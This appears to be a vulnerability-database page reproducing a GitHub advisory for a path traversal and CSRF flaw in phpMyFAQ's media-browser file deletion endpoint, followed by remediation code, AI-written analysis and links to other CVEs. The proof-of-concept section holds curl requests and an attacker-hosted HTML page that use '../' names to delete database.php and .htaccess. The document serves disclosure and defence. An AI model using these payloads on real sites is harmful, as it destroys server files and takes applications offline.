Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total application failure (database connection loss). - Security bypass: Deleting
.htaccessorweb.configcan expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
- Add path traversal validation:
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
}
}- Add CSRF protection:
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}- Change HTTP method to POST or DELETE to align with proper HTTP semantics.
AnalysisAI
Path traversal and CSRF vulnerability in phpMyFAQ's MediaBrowserController enables remote deletion of critical server files. Authenticated admin accounts can be exploited via CSRF to delete arbitrary files including database configurations, .htaccess files, and application code. GitHub advisory confirms the vulnerability with POC demonstration. Attack requires low-privilege authentication (PR:L) but succeeds with minimal user interaction (UI:R), achieving high integrity and availability impact w
Technical ContextAI
The vulnerability exists in phpMyFAQ's media browser API endpoint (MediaBrowserController.php) which implements file deletion functionality. The endpoint misuses PHP's FILTER_SANITIZE_SPECIAL_CHARS filter, which only encodes HTML entities and low ASCII characters but explicitly does not prevent directory traversal sequences like '../'. The code concatenates user input directly with the base upload directory path without invoking basename() to strip directory components or realpath() with boundary validation to ensure resolved paths remain within intended directories. This represents a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. Compounding the issue, the route is defined with HTTP GET method but reads request body content, creating semantic confusion that bypasses typical GET-only CSRF protections. The endpoint lacks CSRF token validation via Token::verifyToken(), contrasting with other controllers in the same codebase (ImageController, FilesystemStorage) that properly implement path normalization and token verification. The CPE identifier pkg:composer/phpmyfaq_phpmyfaq indicates this affects the Composer-distributed package of phpMyFAQ.
RemediationAI
Organizations running phpMyFAQ should immediately consult the GitHub security advisory at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x for official patch guidance, though released patched version is not independently confirmed from provided data. Interim mitigations include implementing web application firewall rules to block requests to /admin/api/media-browser containing directory traversal patterns (../, %2e%2e%2f, URL-encoded variants), restricting admin panel access to trusted IP addresses via firewall or reverse proxy rules, and enforcing HTTP Referer header validation to mitigate CSRF (noting this is bypassable and not a complete solution). Code-level remediation requires three coordinated fixes as detailed in the vulnerability disclosure: first, wrap the filename parameter with basename() and validate resolved paths using realpath() with strict prefix matching against the allowed directory boundary; second, integrate Token::getInstance()->verifyToken() to enforce CSRF protection consistent with other admin endpoints; third, change the route HTTP method from GET to POST or DELETE to align with RFC 7231 semantics and enable proper CSRF defenses. Review logs for suspicious deletion patterns targeting configuration files (database.php, config files) or .htaccess modifications. Verify integrity of critical system files and restore from known-good backups if compromise is suspected.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-18258
GHSA-38m8-xrfj-v38x